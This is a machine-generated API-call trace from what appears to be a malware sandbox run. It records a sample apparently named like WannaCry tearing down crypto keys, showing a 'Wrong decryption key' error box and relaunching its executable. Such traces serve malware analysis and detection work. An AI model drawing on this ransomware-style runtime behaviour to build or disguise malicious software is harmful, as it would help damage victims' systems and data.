PeekMessageW (in: lpMsg=0xa96acaeb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeb60) returned 0 [0044.388] PeekMessageW (in: lpMsg=0xa96acaee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaee80) returned 0 [0044.388] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0044.388] PeekMessageW (in: lpMsg=0xa96acae870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae870) returned 0 [0044.388] PeekMessageW (in: lpMsg=0xa96acaee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaee80) returned 0 [0044.388] PeekMessageW (in: lpMsg=0xa96acaee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaee80) returned 0 [0044.388] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.388] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.388] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.388] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.388] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.388] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.389] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.389] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.389] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.389] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0044.389] PeekMessageW (in: lpMsg=0xa96acaf3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf3d0) returned 0 [0044.389] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0044.389] PeekMessageW (in: lpMsg=0xa96acaeb30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeb30) returned 0 [0044.389] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0044.389] CryptDestroyKey (hKey=0xa96aed55e0) returned 1 [0044.389] PeekMessageW (in: lpMsg=0xa96acaf3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf3d0) returned 0 [0044.389] PeekMessageW (in: lpMsg=0xa96acaf3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf3d0) returned 0 [0044.389] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0044.389] PeekMessageW (in: lpMsg=0xa96acaf0b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf0b0) returned 0 [0044.389] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0044.390] PeekMessageW (in: lpMsg=0xa96acaed90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaed90) returned 0 [0044.390] PeekMessageW (in: lpMsg=0xa96acaed90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaed90) returned 0 [0044.390] PeekMessageW (in: lpMsg=0xa96acaf0b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf0b0) returned 0 [0044.390] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0044.390] PeekMessageW (in: lpMsg=0xa96acaeaa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeaa0) returned 0 [0044.390] PeekMessageW (in: lpMsg=0xa96acaf0b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf0b0) returned 0 [0044.390] PeekMessageW (in: lpMsg=0xa96acaf0b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf0b0) returned 0 [0044.390] PeekMessageW (in: lpMsg=0xa96acaf3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf3d0) returned 0 [0044.390] PeekMessageW (in: lpMsg=0xa96acaf3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf3d0) returned 0 [0044.390] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.390] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0044.390] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.390] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0044.390] PeekMessageW (in: lpMsg=0xa96acaf240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf240) returned 0 [0044.390] PeekMessageW (in: lpMsg=0xa96acaf240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf240) returned 0 [0044.390] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.390] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0044.390] PeekMessageW (in: lpMsg=0xa96acaef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaef50) returned 0 [0044.390] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.390] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0044.390] PeekMessageW (in: lpMsg=0xa96acaefe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaefe0) returned 0 [0044.390] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0044.390] PeekMessageW (in: lpMsg=0xa96acaefe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaefe0) returned 0 [0044.390] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0044.390] CryptReleaseContext (hProv=0xa96af2d4c0, dwFlags=0x0) returned 1 [0044.390] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.391] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0044.391] PeekMessageW (in: lpMsg=0xa96acaefe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaefe0) returned 0 [0044.391] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.391] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.391] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.391] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.391] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.391] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0044.392] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0044.392] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0044.392] MessageBoxW (hWnd=0x0, lpText="Wrong decryption key", lpCaption="Error!", uType=0x10010) returned 1 [0044.398] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.398] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x86, wParam=0x0, lParam=0x10017e) returned 0x1 [0044.398] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.398] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.398] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x6, wParam=0x0, lParam=0x10017e) returned 0x0 [0044.399] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.399] GetWindowLongW (hWnd=0xa004e, nIndex=-20) returned 256 [0044.399] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x84, wParam=0x0, lParam=0x1ff0363) returned 0x1 [0044.399] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.399] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.399] GetClientRect (in: hWnd=0xa004e, lpRect=0xa96acaf2f0 | out: lpRect=0xa96acaf2f0) returned 1 [0044.399] GetCursorPos (in: lpPoint=0xa96acaf310 | out: lpPoint=0xa96acaf310*(x=867, y=511)) returned 1 [0044.399] ScreenToClient (in: hWnd=0xa004e, lpPoint=0xa96acaf310 | out: lpPoint=0xa96acaf310) returned 1 [0044.399] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0044.399] SetCursor (hCursor=0x10003) returned 0x10007 [0044.399] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.400] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x200, wParam=0x0, lParam=0x1890222) returned 0x0 [0044.400] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.400] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x14, wParam=0x370106e8, lParam=0x0) returned 0x1 [0044.400] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.400] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.400] GetSysColor (nIndex=15) returned 0xf0f0f0 [0044.400] SetBkColor (hdc=0x370106e8, color=0xf0f0f0) returned 0xf0f0f0 [0044.400] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.400] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x318, wParam=0x370106e8, lParam=0x4) returned 0x0 [0044.400] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.400] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.400] GetSysColor (nIndex=15) returned 0xf0f0f0 [0044.400] SetBkColor (hdc=0x370106e8, color=0xf0f0f0) returned 0xf0f0f0 [0044.400] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.400] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.400] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0044.400] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaee70) returned 0x0 [0044.400] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.400] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.400] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0044.400] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaee70) returned 0x0 [0044.402] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.402] GetWindowLongW (hWnd=0xa004e, nIndex=-20) returned 256 [0044.402] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x84, wParam=0x0, lParam=0x1ff0363) returned 0x1 [0044.402] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.402] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.402] GetClientRect (in: hWnd=0xa004e, lpRect=0xa96acaf2f0 | out: lpRect=0xa96acaf2f0) returned 1 [0044.402] GetCursorPos (in: lpPoint=0xa96acaf310 | out: lpPoint=0xa96acaf310*(x=867, y=511)) returned 1 [0044.402] ScreenToClient (in: hWnd=0xa004e, lpPoint=0xa96acaf310 | out: lpPoint=0xa96acaf310) returned 1 [0044.402] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0044.402] SetCursor (hCursor=0x10003) returned 0x10003 [0044.402] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.402] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x200, wParam=0x0, lParam=0x1890222) returned 0x0 [0044.415] GetForegroundWindow () returned 0x10017e [0044.415] GetWindowLongPtrW (hWnd=0x10017e, nIndex=-21) returned 0xa96acafa10 [0044.460] GetForegroundWindow () returned 0x10017e [0044.460] GetWindowLongPtrW (hWnd=0x10017e, nIndex=-21) returned 0xa96acafa10 [0044.508] GetForegroundWindow () returned 0x10017e [0044.508] GetWindowLongPtrW (hWnd=0x10017e, nIndex=-21) returned 0xa96acafa10 [0044.558] GetForegroundWindow () returned 0x10017e [0044.558] GetWindowLongPtrW (hWnd=0x10017e, nIndex=-21) returned 0xa96acafa10 [0044.594] GetForegroundWindow () returned 0x10017e [0044.594] GetWindowLongPtrW (hWnd=0x10017e, nIndex=-21) returned 0xa96acafa10 [0044.651] GetForegroundWindow () returned 0x10017e [0044.651] GetWindowLongPtrW (hWnd=0x10017e, nIndex=-21) returned 0xa96acafa10 [0044.705] GetForegroundWindow () returned 0x10017e [0044.705] GetWindowLongPtrW (hWnd=0x10017e, nIndex=-21) returned 0xa96acafa10 [0044.729] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.729] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x46, wParam=0x0, lParam=0xa96acaf5d0) returned 0x0 [0044.730] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.730] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x47, wParam=0x0, lParam=0xa96acaf5d0) returned 0x0 [0044.730] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.730] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0044.731] NtdllDefWindowProc_W (hWnd=0x8002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0044.731] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.731] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0044.733] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.733] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.733] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0044.739] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0044.739] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.745] GetWindowLongW (hWnd=0xa004e, nIndex=-20) returned 256 [0044.745] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x84, wParam=0x0, lParam=0x1fa0313) returned 0x1 [0044.745] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.746] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.746] GetClientRect (in: hWnd=0xa004e, lpRect=0xa96acaf850 | out: lpRect=0xa96acaf850) returned 1 [0044.746] GetCursorPos (in: lpPoint=0xa96acaf870 | out: lpPoint=0xa96acaf870*(x=787, y=506)) returned 1 [0044.746] ScreenToClient (in: hWnd=0xa004e, lpPoint=0xa96acaf870 | out: lpPoint=0xa96acaf870) returned 1 [0044.746] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0044.746] SetCursor (hCursor=0x10003) returned 0x10003 [0044.746] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0044.746] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0044.746] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.746] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x200, wParam=0x0, lParam=0x18401d2) returned 0x0 [0044.746] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0044.746] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0044.746] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0044.746] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.746] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x14, wParam=0x370106e8, lParam=0x0) returned 0x1 [0044.746] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.746] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.746] GetSysColor (nIndex=15) returned 0xf0f0f0 [0044.746] SetBkColor (hdc=0x370106e8, color=0xf0f0f0) returned 0xf0f0f0 [0044.746] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.746] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x318, wParam=0x370106e8, lParam=0x4) returned 0x0 [0044.746] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.747] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.747] GetSysColor (nIndex=15) returned 0xf0f0f0 [0044.747] SetBkColor (hdc=0x370106e8, color=0xf0f0f0) returned 0xf0f0f0 [0044.747] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.747] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.747] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0044.747] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaf340) returned 0x0 [0044.747] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.747] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.747] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0044.747] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaf340) returned 0x0 [0044.747] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0044.747] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0044.747] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 0 [0044.747] TranslateMessage (lpMsg=0xa96acafba0) returned 0 [0044.747] DispatchMessageW (lpMsg=0xa96acafba0) returned 0x0 [0044.747] Shell_NotifyIconW (dwMessage=0x1, lpData=0xa96acaf1d0) returned 1 [0044.748] KillTimer (hWnd=0x8002c, uIDEvent=0x1) returned 1 [0044.748] SetTimer (hWnd=0x8002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0044.748] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0044.748] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0044.748] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.749] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.749] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x1d [0044.749] GetCurrentDirectoryW (in: nBufferLength=0x1d, lpBuffer=0xa96af065a0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0044.749] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0xa96acaf7c0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xa96acaf750 | out: lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessInformation=0xa96acaf750*(hProcess=0x194, hThread=0x1dc, dwProcessId=0xa5c, dwThreadId=0x128)) returned 1 [0044.755] CloseHandle (hObject=0x1dc) returned 1 [0044.755] CloseHandle (hObject=0x194) returned 1 [0044.755] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.755] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 1 [0044.755] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acaf880) returned 0 [0044.755] TranslateMessage (lpMsg=0xa96acaf880) returned 0 [0044.755] DispatchMessageW (lpMsg=0xa96acaf880) returned 0x0 [0044.755] GetForegroundWindow () returned 0xa004e [0044.755] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.755] GetCursorPos (in: lpPoint=0xa96acaf6e0 | out: lpPoint=0xa96acaf6e0*(x=787, y=506)) returned 1 [0044.755] ScreenToClient (in: hWnd=0xa004e, lpPoint=0xa96acaf6e0 | out: lpPoint=0xa96acaf6e0) returned 1 [0044.755] GetAsyncKeyState (vKey=1) returned 1 [0044.756] GetAsyncKeyState (vKey=2) returned 0 [0044.756] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.756] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0044.756] LockWindowUpdate (hWndLock=0x0) returned 0 [0044.756] DestroyWindow (hWnd=0x8002c) returned 1 [0044.756] NtdllDefWindowProc_W (hWnd=0x8002c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0044.756] KillTimer (hWnd=0x8002c, uIDEvent=0x1) returned 1 [0044.756] Shell_NotifyIconW (dwMessage=0x2, lpData=0xa96acaf570) returned 1 [0044.768] DestroyWindow (hWnd=0xa004e) returned 1 [0044.768] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.768] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0044.768] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.768] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x46, wParam=0x0, lParam=0xa96acaf8e0) returned 0x0 [0044.768] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.768] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x47, wParam=0x0, lParam=0xa96acaf8e0) returned 0x0 [0044.768] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.768] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0044.768] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.768] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.768] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x6, wParam=0x0, lParam=0x0) returned 0x0 [0044.769] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.769] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x1c, wParam=0x0, lParam=0x7c0) returned 0x0 [0044.769] NtdllDefWindowProc_W (hWnd=0x8002c, Msg=0x1c, wParam=0x0, lParam=0x7c0) returned 0x0 [0044.769] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.769] 